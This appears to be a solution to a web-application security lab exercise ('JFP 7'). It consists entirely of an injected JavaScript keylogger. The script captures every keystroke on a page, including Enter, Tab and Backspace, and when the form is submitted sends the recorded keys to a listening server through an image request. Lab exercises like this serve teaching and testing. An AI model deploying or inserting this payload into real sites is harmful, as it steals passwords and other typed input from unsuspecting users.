JFP 7 Solution [Key Strokes]

//keylogger
// http://.com/lab/webapp/jfp/7
<script>
document.forms[0].addEventListener('submit',function(){
new Image().src = "http://localhost:8000/?key="+cap;
});
var cap = '';
window.addEventListener("keypress",function(event){
switch(event.which) {
    case 13:
        cap +='<ENTER>';
        break;
    case 9:
        cap += "<TAB>";
        break;
    case 8:
    if(cap.length != 0){
            cap = cap.substring(0, cap.length-1);
    }
        break;
    default:
        cap += String.fromCodePoint(event.which);
}
});
</script>